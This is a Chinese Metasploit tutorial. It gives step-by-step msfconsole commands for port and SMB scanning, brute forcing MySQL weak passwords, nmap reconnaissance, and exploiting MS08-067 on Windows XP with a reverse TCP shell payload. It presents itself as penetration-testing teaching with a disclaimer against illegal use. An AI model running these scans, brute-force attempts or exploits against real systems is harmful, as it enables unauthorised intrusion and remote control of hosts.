Msfconsole工具 概括：
Msfconsole简称（msf）是一款常用的渗透测试工具，包含了常见的漏洞利用模块和生成各种木马，方便于安全测试人员的使用.
目录：
Msfconsole的使用：
第一步：进行端口扫描.
第二步：进行服务的扫描.
第三步：扫描3306（Mysql）端口的弱口令
第四步：在msf模块里也可以使用nmap进行扫描.
第五步：扫描了服务器是用Win XP，然后对服务器进行渗透测试.
渗透测试失败的原因：
免责声明：
严禁利用本文章中所提到的虚拟机和技术进行非法攻击，否则后果自负，上传者不承担任何责任。
Msfconsole的使用：
打开Msfconsole工具：
msfconsole
第一步：进行端口扫描.
（1）查看端口扫描的模块：
search portscan
（2）使用端口扫描模块：
use auxiliary/scanner/portscan/tcp
（3）查看模块信息（模块里的yes都要填）：
show options
（4）设置目标IP进行扫描：
set rhosts （目标IP地址）
（5）设置线程为100：
set threads 100
（6）使用（执行）：run 或者 exploit
run
（7）退出到msf ：
back
第二步：进行服务的扫描.
（1）查看smb_version服务模块：
search smb_version
（2）使用服务模块：
use auxiliary/scanner/smb/smb_version 
（3）查看模块信息（模块里的yes都要填）：
show options
（4）设置目标IP进行扫描：
set rhosts （目标IP地址）
（5）设置线程为10：
set threads 10
（6）使用（执行）：run或者exploit
run
（7）退出到msf ：
back
第三步：扫描3306（Mysql）端口的弱口令
（1）查看扫描3306（Mysql）端口的弱口令模板信息：
search mysql_login
（2）使用扫描3306（Mysql）端口的弱口令模块：
use auxiliary/scanner/mysql/mysql_login
（3）查看模块信息（模块里的yes都要填）：
show options
（4）设置目标IP进行扫描：
set rhosts （目标IP地址）
（5）设置线程为10：
set threads 10
（6）使用（执行）：run或者exploit
run
（7）退出到msf ：
back
第四步：在msf模块里也可以使用nmap进行扫描.
（1）主机发现：
nmap -sn 地址/24
（2）端口扫描：
nmap -sS 地址
（3）系统扫描：
nmap -O 地址
（4）版本扫描：
nmap -sV 地址
（5）综合扫描：
nmap -A 地址
第五步：扫描了服务器是用Win XP，然后对服务器进行渗透测试.
（1）启动 postgresql 数据库：
systemctl start postgresql.service
（2）设置为开机自启：
systemctl enable postgresql
（3）启动 Metasploit
msfconsole
（4）搜索Win XP漏洞对应的模块.
search ms08_067
（5）使用Win XP漏洞扫描模块.
use exploit/windows/smb/ms08_067_netapi
（6）设置攻击载荷
set payload generic/shell_reverse_tcp
（7）查看模块信息（模块里的yes都要填）.
show options
（8）查看渗透攻击模块的攻击平台，找到操作系统平台版本
show targets 
（9）设置操作系统（target）.
set target 34
（10）设置目标IP.
set rhosts （目标IP地址）
（11）设置本地IP
set LHOST 本地IP
（12）设置端口：
set LPORT 4444
（13）使用（执行）：run或者exploit
（14）渗透测试成功.
渗透测试失败的原因：
（1）靶机开启了防火墙.
（2）两台主机不能互联.（用 ping IP地址）
参考链接：使用MSF 利用 ms08_067 对 XP 进行渗透_丰梓林的博客-CSDN博客
